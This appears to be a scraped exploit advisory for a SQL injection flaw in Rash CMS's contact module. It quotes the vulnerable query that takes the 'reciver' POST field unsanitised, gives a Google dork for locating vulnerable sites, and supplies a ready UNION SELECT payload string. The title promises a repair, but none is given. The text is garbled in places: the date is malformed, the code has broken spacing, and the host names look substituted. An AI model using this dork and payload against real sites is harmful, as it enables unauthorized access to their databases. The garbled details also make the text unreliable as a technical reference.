Rash cms SQL Injection defects and repair

 
[~] Title: Rash cms SQL Injection Vulnerability
[~] Author: keracker
[~] Vendor or Software Link: http://rashcms.com
[~] Email: keracker@gmail.com
[~] Data: 2011-0-01-01
[~] Google dork: ": RashCMS:-: MihanPHP ::"
[~] Category: [Webapps]
[~] Tested on: [Windows/php]

[~] ######################################## # ExploiT
######################################## ##### [~]

[~] Vulnerable File:

Http://www.bkjia.com/module/contact/contact-config.php
LINE: 54
CODE:
$ Q = $ d-> getrows ("SELECT 'U _ id' FROM 'permission' WHERE
'Access _ admin_area '= 1 AND 'U _ id' = $ _ POST [reciver] ", true );

Go
Http://www.bkjia.com/index.php? Module = contact

You have to post injection code in "reciver"
You can use live http headers firefox addone to exploit
Like this:
Name = % D8 % B4 & email = a % 40d.com & site = s & tell = 1234567 & reciver =-1 + union + all + select + version () -- & text = aaaaaaa & RashCMS = 777577 & submit = % D8 % A7 % D8 % B1 % D8 % B3 % D8 % A7 % D9 % 84 + % D9 % BE % DB % 8C % D8 % A7 % D9 % 85
Demo: